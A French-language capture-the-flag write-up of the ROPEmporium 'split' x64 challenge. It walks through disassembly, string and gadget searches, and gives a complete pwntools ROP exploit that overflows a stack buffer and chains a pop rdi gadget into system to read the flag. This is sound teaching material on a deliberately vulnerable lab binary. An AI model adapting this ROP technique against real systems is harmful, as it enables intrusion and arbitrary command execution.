7 minutes
🇫🇷 ROPEmporium - split (x64)
Note
Deuxième exercice de ROPEmporium, un tout petit peu plus complexe que le précédent mais il reste très accessible. Je vais essayer une fois de plus d’expliquer le plus clairement possible ce que j’ai fait pour le réussir. Si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.
Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.
File information
Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file
pour avoir des informations sur le fichier, puis checksec
pour voir les éventuelles sécuritées avec lesquelles il a été compilé
file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé
Maintenant le checksec
[*] '/home/conflict/ropemporium/split_x64/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Cette fois-ci, NX est activé, ce qui veut dire qu’on ne pourra pas utiliser de shellcode.
Exploitation
On va run l’executable et voir ce qu’il se passe
Contrairement au précédent, il ne nous donne aucune information sur son fonctionnement. En revanche, on voit que si on entre un nombre de bytes élevé dans l’input, il segfault
, ce qui veut dire qu’on a commencé à réecrire la sauvegarde de rip
C’est bon signe, on a déjà trouvé notre point d’entrée. On va maintenant désassembler l’executable avec pwndbg
pour essayer de comprendre plus en détail ce qu’il fait
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009d6] # 0x601078 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x4007e8
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x4007fe
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400806
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
0x00000000004006e7 <+80>: ret
End of assembler dump.
On voit que le main fait appel à une fonction appelée pwnme
, on va la désassembler elle aussi et voir ce qu’elle fait
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400810
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x40083c
0x0000000000400715 <+45>: mov eax,0x0
0x000000000040071a <+50>: call 0x400570 <printf@plt>
0x000000000040071f <+55>: lea rax,[rbp-0x20]
0x0000000000400723 <+59>: mov edx,0x60
0x0000000000400728 <+64>: mov rsi,rax
0x000000000040072b <+67>: mov edi,0x0
0x0000000000400730 <+72>: call 0x400590 <read@plt>
0x0000000000400735 <+77>: mov edi,0x40083f
0x000000000040073a <+82>: call 0x400550 <puts@plt>
0x000000000040073f <+87>: nop
0x0000000000400740 <+88>: leave
0x0000000000400741 <+89>: ret
End of assembler dump.
On peut voir qu’il lit 96 (0x60) bytes d’input via la fonction read()
, et qu’il les stocke dans un buffer de 32 (0x20) bytes
0x000000000040071f <+55>: lea rax,[rbp-0x20]
0x0000000000400723 <+59>: mov edx,0x60
0x0000000000400728 <+64>: mov rsi,rax
0x000000000040072b <+67>: mov edi,0x0
0x0000000000400730 <+72>: call 0x400590 <read@plt>
Voici donc à quoi va ressembler le début de notre exploit:
from pwn import *
context.binary = binary = ELF('./split')
p = process()
p.recv()
padding = b"A"*0x20
rbp = b"B"*0x8
payload = padding + rbp
p.sendline(padding + rbp)
Evidemment, cet exploit ne fait rien, mais nous savons déjà quelle taille notre padding va faire, et on peut à présent réecrire la sauvegarde de rip
. La prochaine étape est de savoir quoi mettre dans ce registre, on va commencer par chercher si il y a des fonctions intéressantes (toujours avec pwndbg
)
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
On voit une fonction usefulFunction
située à 0x00400742
. Voyons ce qu’elle fait en la désassemblant:
pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
Elle fait donc appel à system
, en lui passant un argument situé à l’adresse 0x40084a
, voyons voir à quoi elle correspond
pwndbg> x/s 0x40084a
0x40084a: "/bin/ls"
Cette fonction va donc éxecuter la commande ls
via system
, pas très utile… En revanche, on va pouvoir utiliser l’adresse de l’appel de la fonction system
plus tard, alors gardons la de côté (0x0040074b
)
Maintenant qu’on va pouvoir appeller system, il faut trouver un string qu’on va lui donner en argument, de préférence soit un /bin/sh
pour avoir un shell, ou un /bin/cat flag.txt
pour directement lire le flag. Regardons la liste des strings de l’executable
strings -t x split ✔ ╱ took 6s ╱ at 15:21:31
238 /lib64/ld-linux-x86-64.so.2
3b1 libc.so.6
3bb puts
3c0 printf
3c7 memset
3ce read
3d3 stdout
3da system
3e1 setvbuf
3e9 __libc_start_main
3fb GLIBC_2.2.5
407 __gmon_start__
760 AWAVI
767 AUATL
7ba []A\A]A^A_
7e8 split by ROP Emporium
7fe x86_64
807 Exiting
810 Contriving a reason to ask user for data...
83f Thank you!
84a /bin/ls
917 ;*3$"
1060 /bin/cat flag.txt
1072 GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
1731 crtstuff.c
173c deregister_tm_clones
1751 __do_global_dtors_aux
1767 completed.7698
1776 __do_global_dtors_aux_fini_array_entry
179d frame_dummy
17a9 __frame_dummy_init_array_entry
17c8 split.c
17d0 pwnme
17d6 usefulFunction
17e5 __FRAME_END__
17f3 __init_array_end
1804 _DYNAMIC
180d __init_array_start
1820 __GNU_EH_FRAME_HDR
1833 _GLOBAL_OFFSET_TABLE_
1849 __libc_csu_fini
1859 stdout@@GLIBC_2.2.5
186d puts@@GLIBC_2.2.5
187f _edata
1886 system@@GLIBC_2.2.5
189a printf@@GLIBC_2.2.5
18ae memset@@GLIBC_2.2.5
18c2 read@@GLIBC_2.2.5
18d4 __libc_start_main@@GLIBC_2.2.5
18f3 __data_start
1900 __gmon_start__
190f __dso_handle
191c _IO_stdin_used
192b usefulString
1938 __libc_csu_init
1948 _dl_relocate_static_pie
1960 __bss_start
196c main
1971 setvbuf@@GLIBC_2.2.5
1986 __TMC_END__
1993 .symtab
199b .strtab
19a3 .shstrtab
19ad .interp
19b5 .note.ABI-tag
19c3 .note.gnu.build-id
19d6 .gnu.hash
19e0 .dynsym
19e8 .dynstr
19f0 .gnu.version
19fd .gnu.version_r
1a0c .rela.dyn
1a16 .rela.plt
1a20 .init
1a26 .text
1a2c .fini
1a32 .rodata
1a3a .eh_frame_hdr
1a48 .eh_frame
1a52 .init_array
1a5e .fini_array
1a6a .dynamic
1a73 .got
1a78 .got.plt
1a81 .data
1a87 .bss
1a8c .comment
On voit un /bin/cat flag.txt
situé à l’offset 1060
. C’est le string qu’on va passer comme argument à system
, mais pour ça, il va nous falloir son adresse. Puisque c’est un string, il est situé dans la section .data
. Essayons de trouver où elle se situe avec pwndbg
. Pour ce faire, on peut utiliser la commande readelf
, puis grep .data
readelf -s split | grep .data
15: 00000000004007e0 0 SECTION LOCAL DEFAULT 15 .rodata
23: 0000000000601050 0 SECTION LOCAL DEFAULT 23 .data
47: 0000000000601050 0 NOTYPE WEAK DEFAULT 23 data_start
49: 0000000000601072 0 NOTYPE GLOBAL DEFAULT 23 _edata
56: 0000000000601050 0 NOTYPE GLOBAL DEFAULT 23 __data_start
On voit que le début de notre section .data
se trouve à l’adresse 0x601050
. Notre offset pour /bin/cat flag.txt
était 1060
, donc son adresse est 0x600000+0x1060
soit 0x601060
On peut vérifier que cette adresse est correcte avec pwndbg
pwndbg> x/s 0x601060
0x601060 <usefulString>: "/bin/cat flag.txt"
Parfait, c’est bien l’adresse de notre /bin/cat flag.txt
.
Il nous manque à présent une dernière chose: un gadget pop rdi; ret
.
Dans les architectures x64, les arguments des fonctions passent par des registres. Par exemple, quand la fonction
system
va être appelée, elle va aller chercher son premier argument dans le registrerdi
.
Pour trouver ce gadget, on peut utiliser ROPGadget
:
ROPgadget --binary split | grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret
Maintenant qu’on a notre gadget, récapitulons:
- Avec un padding de 40 bytes, on commence à réecrire la sauvegarde de
rip
(instruction pointer) - On peut mettre un pointeur vers
/bin/cat flag.txt
dansrdi
grâce à notre gadgetpop rdi; ret
- On peut appeller la fonction
system
depuis son adresse puisque la protectionPIE
n’est pas activée
Si PIE avait été activé, nous n’aurions pas pu prendre l’adresse de la fonction
system
puisqu’elle aurait changé entre chaque exécution
Final Payload
Complétons notre exploit
from pwn import *
context.binary = binary = ELF('./split', checksec=False)
p = process()
p.recv()
padding = b"A"*0x20
rbp = b"B"*0x8
pop_rdi_ret = p64(0x004007c3)
cat_flag = p64(0x601060)
system = p64(0x0040074b)
payload = padding + rbp + pop_rdi_ret + cat_flag + system
p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[1].decode('utf-8'))
Et maintenant, on le lance:
On a notre flag, gg !